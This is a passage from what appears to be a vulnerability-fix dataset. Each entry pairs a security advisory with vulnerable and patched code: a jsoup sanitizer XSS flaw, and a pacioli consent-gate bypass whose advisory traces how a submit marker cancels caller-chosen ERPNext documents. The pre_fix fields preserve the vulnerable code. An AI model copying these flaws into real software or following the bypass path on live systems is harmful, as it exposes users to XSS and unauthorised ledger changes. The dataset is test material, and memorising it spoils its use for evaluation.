+pre_fix = "export function preparePostEntityServerDerivedProperties(\n entity: SpringBootEntity>,\n) {\n mutateData(entity, {\n uniqueEnums: ({ fields }) => [...new Set(fields.filter(field => field.fieldIsEnum))],\n });\n\n if (entity.primaryKey?.derived) {\n entity.isUsingMapsId = true;\n entity.mapsIdAssoc = entity.relationships.find(rel => rel.id);\n } else {\n entity.isUsingMapsId = false;\n entity.mapsIdAssoc = undefined;\n }\n entity.reactiveOtherEntities = new Set(entity.reactiveEagerRelations.map(rel => rel.otherEntity));\n entity.reactiveUniqueEntityTypes = new Set(entity.reactiveEagerRelations.map(rel => rel.otherEntity.entityNameCapitalized));\n entity.reactiveUniqueEntityTypes.add(entity.entityClass);\n if (entity.databaseType === 'sql') {\n for (const relationship of entity.relationships) {\n if (!relationship.otherEntity.embedded) {\n (relationship as DatabaseRelationship).joinColumnNames = relationship.otherEntity.primaryKey!.fields.map(\n otherField =>\n `${relationship.id && relationship.relationshipOneToOne ? '' : `${hibernateSnakeCase(relationship.relationshipName)}_`}${(otherField as DatabaseField).columnName}`,\n );\n }\n }\n }\n}"
+repo = "jhipster/generator-jhipster"
+url = "https://github.com/jhipster/generator-jhipster.git"
+
+[[case]]
+advisory = "GHSA-pmhh-3w7g-xqp8"
+advisory_text = "jsoup: Cleaner may expose markup with custom raw-text elements\n\nWhen a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS.\n\njsoup’s built-in Safelists are unaffected.\n\n## Patches\n\nUpgrade to jsoup 1.23.1.\n\n## Workarounds\n\nUntil upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML.\n\n## Additional security considerations\n\nThis fix addresses malformed tag-name handling only.\n\nPermitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS."
+commit = "92f1aca552548b484bc7d4b94c51e48b8e6eca70"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "nameAttr"
+function_lines = [[387, 394]]
+id = "jhy-jsoup-6358e99ead4eb079"
+language = "java"
+method = "fix_site"
+parent = "a682fd5bc8acdf841e5f858e8a19e3d2c92c4df8"
+path = "src/main/java/org/jsoup/parser/Token.java"
+post_fix = " StartTag nameAttr(String name, Attributes attributes) {\n this.tagName.set(name);\n this.attributes = attributes;\n normalName = lowerCase(name);\n return this;\n }\n\n @Override"
+pre_fix = " StartTag nameAttr(String name, Attributes attributes) {\n this.tagName.set(name);\n this.attributes = attributes;\n normalName = ParseSettings.normalName(name);\n return this;\n }\n\n @Override"
+repo = "jhy/jsoup"
+url = "https://github.com/jhy/jsoup.git"
+
+[[case]]
+advisory = "GHSA-pmhh-3w7g-xqp8"
+advisory_text = "jsoup: Cleaner may expose markup with custom raw-text elements\n\nWhen a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS.\n\njsoup’s built-in Safelists are unaffected.\n\n## Patches\n\nUpgrade to jsoup 1.23.1.\n\n## Workarounds\n\nUntil upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML.\n\n## Additional security considerations\n\nThis fix addresses malformed tag-name handling only.\n\nPermitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS."
+commit = "92f1aca552548b484bc7d4b94c51e48b8e6eca70"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "appendTagName"
+function_lines = [[311, 317]]
+id = "jhy-jsoup-caf11625421e51b5"
+language = "java"
+method = "fix_site"
+parent = "a682fd5bc8acdf841e5f858e8a19e3d2c92c4df8"
+path = "src/main/java/org/jsoup/parser/Token.java"
+post_fix = " final void appendTagName(String append) {\n // might have null chars - need to replace with null replacement character\n append = append.replace(TokeniserState.nullChar, Tokeniser.replacementChar);\n tagName.append(append);\n normalName = lowerCase(tagName.value());\n }\n"
+pre_fix = " final void appendTagName(String append) {\n // might have null chars - need to replace with null replacement character\n append = append.replace(TokeniserState.nullChar, Tokeniser.replacementChar);\n tagName.append(append);\n normalName = ParseSettings.normalName(tagName.value());\n }\n"
+repo = "jhy/jsoup"
+url = "https://github.com/jhy/jsoup.git"
+
+[[case]]
+advisory = "GHSA-pmhh-3w7g-xqp8"
+advisory_text = "jsoup: Cleaner may expose markup with custom raw-text elements\n\nWhen a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS.\n\njsoup’s built-in Safelists are unaffected.\n\n## Patches\n\nUpgrade to jsoup 1.23.1.\n\n## Workarounds\n\nUntil upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML.\n\n## Additional security considerations\n\nThis fix addresses malformed tag-name handling only.\n\nPermitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS."
+commit = "92f1aca552548b484bc7d4b94c51e48b8e6eca70"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "valueOf"
+function_lines = [[137, 173]]
+id = "jhy-jsoup-fb24c11d6f1b2ae3"
+language = "java"
+method = "fix_site"
+parent = "a682fd5bc8acdf841e5f858e8a19e3d2c92c4df8"
+path = "src/main/java/org/jsoup/parser/TagSet.java"
+post_fix = " Tag valueOf(String tagName, @Nullable String normalName, String namespace, boolean preserveTagCase) {\n Validate.notNull(tagName);\n Validate.notNull(namespace);\n if (normalName == null) tagName = tagName.trim(); // public API input; tokenizer names are already delimited\n Validate.notEmpty(tagName);\n Tag tag = get(tagName, namespace);\n if (tag != null) return tag;\n\n // not found by tagName, try by normal\n if (normalName == null) normalName = ParseSettings.normalName(tagName);\n tagName = preserveTagCase ? tagName : normalName;\n tag = get(normalName, namespace);\n if (tag != null) {\n if (preserveTagCase && !tagName.equals(normalName)) {\n tag = tag.clone(); // copy so that the name update doesn't reset all instances\n tag.tagName = tagName;\n doAdd(tag);\n }\n return tag;\n }\n\n // not defined: return a new one\n tag = new Tag(tagName, normalName, namespace);\n doAdd(tag);\n\n return tag;\n }\n\n /**\n Get a Tag by name from this TagSet. If not previously defined (unknown), returns a new tag.\n
New tags will be added to this TagSet.
\n\n @param tagName Name of tag, e.g. \"p\".\n @param namespace the namespace for the tag.\n @param settings used to control tag name sensitivity\n @return The tag, either defined or new generic.\n */"
+pre_fix = " Tag valueOf(String tagName, @Nullable String normalName, String namespace, boolean preserveTagCase) {\n Validate.notNull(tagName);\n Validate.notNull(namespace);\n tagName = tagName.trim();\n Validate.notEmpty(tagName);\n Tag tag = get(tagName, namespace);\n if (tag != null) return tag;\n\n // not found by tagName, try by normal\n if (normalName == null) normalName = ParseSettings.normalName(tagName);\n tagName = preserveTagCase ? tagName : normalName;\n tag = get(normalName, namespace);\n if (tag != null) {\n if (preserveTagCase && !tagName.equals(normalName)) {\n tag = tag.clone(); // copy so that the name update doesn't reset all instances\n tag.tagName = tagName;\n doAdd(tag);\n }\n return tag;\n }\n\n // not defined: return a new one\n tag = new Tag(tagName, normalName, namespace);\n doAdd(tag);\n\n return tag;\n }\n\n /**\n Get a Tag by name from this TagSet. If not previously defined (unknown), returns a new tag.\n
New tags will be added to this TagSet.
\n\n @param tagName Name of tag, e.g. \"p\".\n @param namespace the namespace for the tag.\n @param settings used to control tag name sensitivity\n @return The tag, either defined or new generic.\n */"
+repo = "jhy/jsoup"
+url = "https://github.com/jhy/jsoup.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "before_cancel"
+function_lines = [[421, 425]]
+id = "john-broadway-pacioli-0409fd38692653dc"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "guard/pacioli_guard/act.py"
+post_fix = "def before_cancel(doc, method=None):\n \"\"\"As :func:`before_submit`, for the reversing act. Cancel writes reversing GL entries, so a\n marker minted to post a document must not spend on reversing it — that binding is\n ``consent_verdict``'s, and this passes it the act. Since 0.10.0 the RIDE path enforces the same\n binding independently (:func:`_may_ride`), because riding never reaches ``consent_verdict`` at\n all and a submit marker was licensing cascaded cancels through it.\"\"\"\n _require_consent(doc, CANCEL)\n\n"
+pre_fix = "def before_cancel(doc, method=None):\n \"\"\"As :func:`before_submit`, for the reversing act. Cancel writes reversing GL entries, so a\n marker minted to post a document must not spend on reversing it — that binding is\n ``consent_verdict``'s, and this passes it the act.\"\"\"\n _require_consent(doc, CANCEL)"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "main"
+function_lines = [[1736, 1785]]
+id = "john-broadway-pacioli-17356dc985f12ca8"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "broker/pacioli/cli.py"
+post_fix = "def main(argv=None, env=None):\n import os\n\n env = os.environ if env is None else env\n args = build_parser().parse_args(argv)\n if args.command == \"mint\":\n return cmd_mint(env, args.plan_id, args.target, args.ttl)\n if args.command == \"verify\":\n return cmd_verify(env, args.target, args.expected_head)\n if args.command == \"orphans\":\n return cmd_orphans(env, args.target)\n if args.command == \"close\":\n return cmd_close(env, args.target, args.since, args.until,\n args.expected_head, args.as_json, reconcile=args.reconcile,\n respond=args.respond, envelope=args.envelope, advance=args.advance)\n if args.command == \"anchor\":\n if args.anchor_command == \"write\":\n return cmd_anchor_write(env, args.target, args.out)\n return cmd_anchor_check(env, args.target, args.infile)\n if args.command == \"doctor\":\n return cmd_doctor(env, args.target, args.offline, receipt=args.receipt)\n if args.command == \"seal\":\n return cmd_seal(env, args.reason, args.target)\n if args.command == \"unseal\":\n return cmd_unseal(env, args.reason, args.target)\n if args.command == \"seal-status\":\n return cmd_seal_status(env, args.target, args.as_json, args.anchor)\n if args.command == \"attest\":\n return cmd_attest(env, args.reason, args.target, seq=args.seq)\n if args.command == \"close-status\":\n return cmd_close_status(env, args.target, args.as_json)\n if args.command == \"serve\":\n allowed_hosts = None\n if getattr(args, \"allowed_hosts\", None):\n allowed_hosts = [h.strip() for h in args.allowed_hosts.split(\",\") if h.strip()]\n if getattr(args, \"http\", False):\n from pacioli.server import serve_http\n return serve_http(env, bind=args.bind, port=args.port or 8791, auth=args.auth,\n allowed_hosts=allowed_hosts)\n if getattr(args, \"a2a\", False):\n from pacioli.a2a import DEFAULT_PORT, serve_a2a\n return serve_a2a(env, bind=args.bind, port=args.port or DEFAULT_PORT,\n auth=args.auth, allowed_hosts=allowed_hosts)\n from pacioli.server import serve\n return serve(env)\n if args.command == \"a2a-keygen\":\n return cmd_a2a_keygen(env, args.out)\n return 2\n\n"
+pre_fix = "def main(argv=None, env=None):\n import os\n\n env = os.environ if env is None else env\n args = build_parser().parse_args(argv)\n if args.command == \"mint\":\n return cmd_mint(env, args.plan_id, args.target, args.ttl)\n if args.command == \"verify\":\n return cmd_verify(env, args.target, args.expected_head)\n if args.command == \"orphans\":\n return cmd_orphans(env, args.target)\n if args.command == \"close\":\n return cmd_close(env, args.target, args.since, args.until,\n args.expected_head, args.as_json, reconcile=args.reconcile,\n respond=args.respond, envelope=args.envelope, advance=args.advance)\n if args.command == \"anchor\":\n if args.anchor_command == \"write\":\n return cmd_anchor_write(env, args.target, args.out)\n return cmd_anchor_check(env, args.target, args.infile)\n if args.command == \"doctor\":\n return cmd_doctor(env, args.target, args.offline)\n if args.command == \"seal\":\n return cmd_seal(env, args.reason, args.target)\n if args.command == \"unseal\":\n return cmd_unseal(env, args.reason, args.target)\n if args.command == \"seal-status\":\n return cmd_seal_status(env, args.target, args.as_json, args.anchor)\n if args.command == \"attest\":\n return cmd_attest(env, args.reason, args.target, seq=args.seq)\n if args.command == \"close-status\":\n return cmd_close_status(env, args.target, args.as_json)\n if args.command == \"serve\":\n allowed_hosts = None\n if getattr(args, \"allowed_hosts\", None):\n allowed_hosts = [h.strip() for h in args.allowed_hosts.split(\",\") if h.strip()]\n if getattr(args, \"http\", False):\n from pacioli.server import serve_http\n return serve_http(env, bind=args.bind, port=args.port or 8791, auth=args.auth,\n allowed_hosts=allowed_hosts)\n if getattr(args, \"a2a\", False):\n from pacioli.a2a import DEFAULT_PORT, serve_a2a\n return serve_a2a(env, bind=args.bind, port=args.port or DEFAULT_PORT,\n auth=args.auth, allowed_hosts=allowed_hosts)\n from pacioli.server import serve\n return serve(env)\n if args.command == \"a2a-keygen\":\n return cmd_a2a_keygen(env, args.out)\n return 2\n\n"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "_flag_get"
+function_lines = [[110, 119]]
+id = "john-broadway-pacioli-2ae7bec575002cc8"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "guard/pacioli_guard/act.py"
+post_fix = "def _flag_get(doc, key):\n return bool(_flag_value(doc, key))\n\n"
+pre_fix = "def _flag_get(doc, key):\n flags = getattr(doc, \"flags\", None)\n if flags is None:\n return False\n try:\n return bool(flags.get(key))\n except AttributeError:\n return bool(getattr(flags, key, False))\n\n"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
